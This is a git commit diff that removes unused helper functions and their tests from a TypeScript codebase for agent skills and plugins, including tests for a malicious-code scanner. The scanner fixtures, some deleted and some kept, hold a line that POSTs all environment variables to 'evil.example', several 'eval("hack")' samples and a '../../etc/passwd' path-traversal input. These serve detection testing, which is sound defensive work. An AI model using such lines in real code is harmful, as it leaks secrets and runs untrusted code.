chore(deadcode): drop stale helper APIs

This commit is contained in:
Vincent Koc
2026-06-22 04:04:05 +08:00
parent 2609b97222
commit 409adfbe10
8 changed files with 24 additions and 337 deletions
+1 -23
View File
@@ -30,10 +30,7 @@ vi.mock("../../plugins/public-surface-loader.js", () => ({
loadBundledPluginPublicArtifactModuleSync: loadBundledPluginPublicArtifactModuleSyncMock,
}));
import {
describeBundledChannelMessageTool,
resolveBundledChannelMessageToolDiscoveryAdapter,
} from "./message-tool-api.js";
import { resolveBundledChannelMessageToolDiscoveryAdapter } from "./message-tool-api.js";
describe("bundled channel message tool fast path", () => {
beforeEach(() => {
@@ -53,27 +50,8 @@ describe("bundled channel message tool fast path", () => {
});
});
it("describes message tools through the same artifact", () => {
expect(
describeBundledChannelMessageTool({
channelId: "slack",
context: { cfg: {} },
}),
).toStrictEqual({
actions: ["send", "upload-file"],
capabilities: ["presentation"],
schema: null,
});
});
it("treats missing artifacts as absent discovery", () => {
expect(resolveBundledChannelMessageToolDiscoveryAdapter("discord")).toBeUndefined();
expect(
describeBundledChannelMessageTool({
channelId: "discord",
context: { cfg: {} },
}),
).toBeUndefined();
});
it("ignores present artifacts without discovery", () => {
+1 -17
View File
@@ -4,7 +4,7 @@
* Resolves lightweight discovery hooks without loading full channel plugins.
*/
import { loadBundledPluginPublicArtifactModuleSync } from "../../plugins/public-surface-loader.js";
import type { ChannelMessageActionAdapter, ChannelMessageToolDiscovery } from "./types.public.js";
import type { ChannelMessageActionAdapter } from "./types.public.js";
/**
* Narrow adapter surface used for message-tool schema discovery.
@@ -53,19 +53,3 @@ export function resolveBundledChannelMessageToolDiscoveryAdapter(
}
return { describeMessageTool };
}
/**
* Runs a bundled channel's message-tool discovery hook through its public artifact.
*/
export function describeBundledChannelMessageTool(params: {
channelId: string;
context: Parameters<NonNullable<ChannelMessageToolDiscoveryAdapter["describeMessageTool"]>>[0];
}): ChannelMessageToolDiscovery | null | undefined {
const describeMessageTool = loadBundledChannelMessageToolApi(
params.channelId,
)?.describeMessageTool;
if (typeof describeMessageTool !== "function") {
return undefined;
}
return describeMessageTool(params.context) ?? null;
}
+15 -40
View File
@@ -2,7 +2,6 @@
import { describe, expect, it } from "vitest";
import { createFixtureSkillEntry } from "../test-support/test-helpers.js";
import {
buildSkillIndex,
buildSkillIndexEntries,
filterPromptVisibleSkillEntries,
filterUserInvocableSkillEntries,
@@ -19,38 +18,18 @@ describe("skill index", () => {
expect(normalizeSkillIndexName("@@")).toBe("");
});
it("indexes entries by exact and normalized name without changing input order", () => {
it("indexes entries without changing input order", () => {
const entries = [
createFixtureSkillEntry("Excel XLSX", { skillKey: "excel_xlsx" }),
createFixtureSkillEntry("GitHub Review"),
];
const index = buildSkillIndex(entries);
expect(index.entries.map((entry) => entry.name)).toEqual(["Excel XLSX", "GitHub Review"]);
expect(index.byName.get("Excel XLSX")?.entry).toBe(entries[0]);
expect(index.byNormalizedName.get("excel-xlsx")?.map((entry) => entry.name)).toEqual([
expect(buildSkillIndexEntries(entries).map((entry) => entry.name)).toEqual([
"Excel XLSX",
]);
expect(index.byNormalizedName.get("github-review")?.map((entry) => entry.name)).toEqual([
"GitHub Review",
]);
});
it("keeps ambiguous normalized names as multiple index entries", () => {
const entries = [
createFixtureSkillEntry("Excel/XLSX", { skillKey: "excel-slash" }),
createFixtureSkillEntry("Excel_XLSX", { skillKey: "excel-underscore" }),
];
const index = buildSkillIndex(entries);
expect(index.byNormalizedName.get("excel-xlsx")?.map((entry) => entry.name)).toEqual([
"Excel/XLSX",
"Excel_XLSX",
]);
});
it("centralizes runtime, prompt, and command exposure policy", () => {
const runtimeHidden = createFixtureSkillEntry("runtime-hidden", {
exposure: {
@@ -77,27 +56,23 @@ describe("skill index", () => {
invocation: { disableModelInvocation: true, userInvocable: true },
});
const index = buildSkillIndex([runtimeHidden, promptHidden, commandHidden, legacyPromptHidden]);
const entries = [runtimeHidden, promptHidden, commandHidden, legacyPromptHidden];
const indexEntries = buildSkillIndexEntries(entries);
expect(index.runtimeEntries.map((entry) => entry.skill.name)).toEqual([
"prompt-hidden",
"command-hidden",
"legacy-prompt-hidden",
]);
expect(index.promptVisibleEntries.map((entry) => entry.skill.name)).toEqual([
expect(indexEntries.filter((entry) => entry.runtimeVisible).map((entry) => entry.name)).toEqual(
["prompt-hidden", "command-hidden", "legacy-prompt-hidden"],
);
expect(indexEntries.filter((entry) => entry.promptVisible).map((entry) => entry.name)).toEqual([
"runtime-hidden",
"command-hidden",
]);
expect(index.userInvocableEntries.map((entry) => entry.skill.name)).toEqual([
expect(indexEntries.filter((entry) => entry.userInvocable).map((entry) => entry.name)).toEqual([
"runtime-hidden",
"prompt-hidden",
"legacy-prompt-hidden",
]);
expect(filterPromptVisibleSkillEntries(index.entries.map((entry) => entry.entry))).toEqual([
runtimeHidden,
commandHidden,
]);
expect(filterUserInvocableSkillEntries(index.entries.map((entry) => entry.entry))).toEqual([
expect(filterPromptVisibleSkillEntries(entries)).toEqual([runtimeHidden, commandHidden]);
expect(filterUserInvocableSkillEntries(entries)).toEqual([
runtimeHidden,
promptHidden,
legacyPromptHidden,
@@ -115,22 +90,22 @@ describe("skill index", () => {
skillKey: "workspace-key",
});
const index = buildSkillIndex([bundled, unknownBundled, workspace], {
const indexEntries = buildSkillIndexEntries([bundled, unknownBundled, workspace], {
bundledNames: new Set(["unknown-bundle"]),
agentSkillFilter: ["workspace"],
});
expect(index.byName.get("bundle")).toMatchObject({
expect(indexEntries.find((entry) => entry.name === "bundle")).toMatchObject({
source: "openclaw-bundled",
bundled: true,
agentAllowed: false,
});
expect(index.byName.get("unknown-bundle")).toMatchObject({
expect(indexEntries.find((entry) => entry.name === "unknown-bundle")).toMatchObject({
source: "unknown",
bundled: true,
agentAllowed: false,
});
expect(index.byName.get("workspace")).toMatchObject({
expect(indexEntries.find((entry) => entry.name === "workspace")).toMatchObject({
source: "openclaw-workspace",
bundled: false,
skillKey: "workspace-key",
-63
View File
@@ -18,15 +18,6 @@ export type SkillIndexEntry = {
userInvocable: boolean;
};
type SkillIndex = {
entries: SkillIndexEntry[];
runtimeEntries: SkillEntry[];
promptVisibleEntries: SkillEntry[];
userInvocableEntries: SkillEntry[];
byName: ReadonlyMap<string, SkillIndexEntry>;
byNormalizedName: ReadonlyMap<string, readonly SkillIndexEntry[]>;
};
type BuildSkillIndexOptions = {
bundledNames?: ReadonlySet<string>;
agentSkillFilter?: readonly string[];
@@ -84,42 +75,6 @@ export function buildSkillIndexEntries(
return entries.map((entry) => createSkillIndexEntry(entry, opts, agentSkillSet));
}
export function buildSkillIndex(
entries: readonly SkillEntry[],
opts?: BuildSkillIndexOptions,
): SkillIndex {
const byName = new Map<string, SkillIndexEntry>();
const normalized = new Map<string, SkillIndexEntry[]>();
const indexedEntries = buildSkillIndexEntries(entries, opts);
const runtimeEntries: SkillEntry[] = [];
const promptVisibleEntries: SkillEntry[] = [];
const userInvocableEntries: SkillEntry[] = [];
for (const indexed of indexedEntries) {
byName.set(indexed.name, indexed);
addNormalizedEntry(normalized, indexed.normalizedName, indexed);
addNormalizedEntry(normalized, indexed.normalizedSkillKey, indexed);
if (indexed.runtimeVisible) {
runtimeEntries.push(indexed.entry);
}
if (indexed.promptVisible) {
promptVisibleEntries.push(indexed.entry);
}
if (indexed.userInvocable) {
userInvocableEntries.push(indexed.entry);
}
}
return {
entries: indexedEntries,
runtimeEntries,
promptVisibleEntries,
userInvocableEntries,
byName,
byNormalizedName: normalized,
};
}
function createSkillIndexEntry(
entry: SkillEntry,
opts: BuildSkillIndexOptions | undefined,
@@ -144,21 +99,3 @@ function createSkillIndexEntry(
userInvocable: isSkillUserInvocable(entry),
};
}
function addNormalizedEntry(
normalized: Map<string, SkillIndexEntry[]>,
key: string,
entry: SkillIndexEntry,
) {
if (!key) {
return;
}
const existing = normalized.get(key);
if (existing) {
if (!existing.includes(entry)) {
existing.push(entry);
}
return;
}
normalized.set(key, [entry]);
}
+1 -20
View File
@@ -2,7 +2,7 @@
import { describe, expect, it } from "vitest";
import type { SessionSkillSnapshot } from "../../config/sessions/types.js";
import { createCanonicalFixtureSkill } from "../test-support/test-helpers.js";
import { hydrateResolvedSkills, hydrateResolvedSkillsAsync } from "./snapshot-hydration.js";
import { hydrateResolvedSkills } from "./snapshot-hydration.js";
function makeFixtureSkill(name: string, bodySize = 3000) {
const source = `# ${name}\n\n${"x".repeat(bodySize)}`;
@@ -73,23 +73,4 @@ describe("hydrateResolvedSkills", () => {
expect(result).toBe(snapshot);
expect(buildCalls).toBe(0);
});
it("supports async runtime hydration for CLI resume paths", async () => {
const stripped: SessionSkillSnapshot = {
prompt: "cached-prompt",
skills: [{ name: "x" }],
version: 2,
};
const rebuiltSkills = [makeFixtureSkill("x", 120)];
const result = await hydrateResolvedSkillsAsync(stripped, async () => ({
prompt: "fresh-prompt",
skills: [{ name: "y" }],
resolvedSkills: rebuiltSkills,
version: 3,
}));
expect(result.prompt).toBe("cached-prompt");
expect(result.skills).toEqual([{ name: "x" }]);
expect(result.version).toBe(2);
expect(result.resolvedSkills).toBe(rebuiltSkills);
});
});
-10
View File
@@ -19,13 +19,3 @@ export function hydrateResolvedSkills<T extends SnapshotWithRuntimeSkills>(
}
return { ...snapshot, resolvedSkills: rebuild().resolvedSkills };
}
export async function hydrateResolvedSkillsAsync<T extends SnapshotWithRuntimeSkills>(
snapshot: T,
rebuild: () => Promise<SnapshotRebuild<T>>,
): Promise<T> {
if (snapshot.resolvedSkills !== undefined) {
return snapshot;
}
return { ...snapshot, resolvedSkills: (await rebuild()).resolvedSkills };
}
+6 -142
View File
@@ -7,7 +7,6 @@ import { afterAll, afterEach, describe, expect, it, vi } from "vitest";
import {
clearSkillScanCacheForTest,
isScannable,
scanDirectory,
scanDirectoryWithSummary,
scanSkillContent,
scanSource,
@@ -118,16 +117,6 @@ function normalizeSkillScanOptions(
type FixtureFiles = Record<string, string | undefined>;
type ScanDirectoryCase = {
name: string;
files: FixtureFiles;
includeFiles?: readonly string[];
excludeTestFiles?: boolean;
expectedRuleId: string;
expectedPresent: boolean;
expectedMinFindings?: number;
};
type SummaryCase = {
name: string;
files: FixtureFiles;
@@ -396,131 +385,6 @@ describe("isScannable", () => {
});
});
// ---------------------------------------------------------------------------
// scanDirectory
// ---------------------------------------------------------------------------
describe("scanDirectory", () => {
const scanDirectoryCases: readonly ScanDirectoryCase[] = [
{
name: "scans .js files in a directory tree",
files: {
"index.js": `const x = eval("1+1");`,
"lib/helper.js": `export const y = 42;`,
},
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
expectedMinFindings: 1,
},
{
name: "skips node_modules directories",
files: {
"node_modules/evil-pkg/index.js": `const x = eval("hack");`,
"clean.js": `export const x = 1;`,
},
expectedRuleId: "dynamic-code-execution",
expectedPresent: false,
},
{
name: "skips hidden directories",
files: {
".hidden/secret.js": `const x = eval("hack");`,
"clean.js": `export const x = 1;`,
},
expectedRuleId: "dynamic-code-execution",
expectedPresent: false,
},
{
name: "skips test directories and test files when requested",
files: {
"tests/telemetry.test.ts": `const secrets = JSON.stringify(process.env);\nfetch("https://evil.example/harvest", { method: "POST", body: secrets });`,
"src/runtime.spec.ts": `const x = eval("hack");`,
"src/runtime.js": `export const x = 1;`,
},
excludeTestFiles: true,
expectedRuleId: "env-harvesting",
expectedPresent: false,
},
{
name: "scans explicitly included test files when test exclusion is requested",
files: {
"tests/runtime.test.ts": `const x = eval("hack");`,
"src/runtime.js": `export const x = 1;`,
},
includeFiles: ["tests/runtime.test.ts"],
excludeTestFiles: true,
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
},
{
name: "scans hidden entry files when explicitly included",
files: {
".hidden/entry.js": `const x = eval("hack");`,
},
includeFiles: [".hidden/entry.js"],
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
},
{
name: "skips non-scannable includeFiles entries like .png (line 406)",
files: {
"logo.png": "binary-content",
"clean.js": `export const x = 1;`,
},
includeFiles: ["logo.png"],
expectedRuleId: "dynamic-code-execution",
expectedPresent: false,
},
{
name: "skips missing files in includeFiles (lines 468-471 — ENOENT in resolveForcedFiles)",
files: {
"clean.js": `export const x = 1;`,
},
// "nonexistent.js" doesn't exist — stat throws ENOENT → continue at line 418
includeFiles: ["nonexistent.js"],
expectedRuleId: "dynamic-code-execution",
expectedPresent: false,
},
{
name: "deduplicates file present in both includeFiles and walked directory (line 451)",
files: {
// regular.js is in the root and will be found by both walkDirWithLimit and includeFiles
"regular.js": `const x = eval("hack");`,
},
// Including the same file ensures it appears in forcedFiles AND walkedFiles
includeFiles: ["regular.js"],
expectedRuleId: "dynamic-code-execution",
expectedPresent: true,
expectedMinFindings: 1,
},
];
it("scans directory trees and explicit includes", async () => {
for (const testCase of scanDirectoryCases) {
await runNamedCase(testCase.name, async () => {
const root = makeTmpDir();
writeFixtureFiles(root, testCase.files);
const findings = await scanDirectory(
root,
testCase.includeFiles || testCase.excludeTestFiles
? {
...(testCase.includeFiles ? { includeFiles: [...testCase.includeFiles] } : {}),
...(testCase.excludeTestFiles
? { excludeTestFiles: testCase.excludeTestFiles }
: {}),
}
: undefined,
);
if (testCase.expectedMinFindings != null) {
expect(findings.length).toBeGreaterThanOrEqual(testCase.expectedMinFindings);
}
expectRulePresence(findings, testCase.expectedRuleId, testCase.expectedPresent);
clearSkillScanCacheForTest();
});
}
});
});
// ---------------------------------------------------------------------------
// scanDirectoryWithSummary
// ---------------------------------------------------------------------------
@@ -699,18 +563,18 @@ describe("scanDirectoryWithSummary", () => {
// getCachedFileScanResult returns undefined (deletes stale entry)
const root = makeTmpDir();
writeFixtureFiles(root, { "a.js": `export const x = 1;` });
await scanDirectory(root, { maxFileBytes: 1024 });
await scanDirectoryWithSummary(root, { maxFileBytes: 1024 });
// Change maxFileBytes — cache entry has different maxFileBytes → lines 93-94 hit
const findings = await scanDirectory(root, { maxFileBytes: 64 });
expect(findings).toHaveLength(0);
const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 });
expect(summary.findings).toHaveLength(0);
});
it("skips includeFiles entries that escape the root directory", async () => {
const root = makeTmpDir();
writeFixtureFiles(root, { "clean.js": `export const x = 1;` });
// "../../etc/passwd" resolves outside root — isPathInside returns false → continue
const findings = await scanDirectory(root, { includeFiles: ["../../etc/passwd"] });
expect(findings).toHaveLength(0);
const summary = await scanDirectoryWithSummary(root, { includeFiles: ["../../etc/passwd"] });
expect(summary.findings).toHaveLength(0);
});
it("re-throws when stat throws a non-ENOENT error during file scan", async () => {
@@ -723,7 +587,7 @@ describe("scanDirectoryWithSummary", () => {
try {
let thrown: unknown;
try {
await scanDirectory(root);
await scanDirectoryWithSummary(root);
} catch (error) {
thrown = error;
}
-22
View File
@@ -771,28 +771,6 @@ async function scanFileWithCache(params: {
return { scanned: true, findings };
}
export async function scanDirectory(
dirPath: string,
opts?: SkillScanOptions,
): Promise<SkillScanFinding[]> {
const scanOptions = normalizeScanOptions(opts);
const { files } = await collectScannableFiles(dirPath, scanOptions);
const allFindings: SkillScanFinding[] = [];
for (const file of files) {
const scanResult = await scanFileWithCache({
filePath: file,
maxFileBytes: scanOptions.maxFileBytes,
});
if (!scanResult.scanned) {
continue;
}
allFindings.push(...scanResult.findings);
}
return allFindings;
}
export async function scanDirectoryWithSummary(
dirPath: string,
opts?: SkillScanOptions,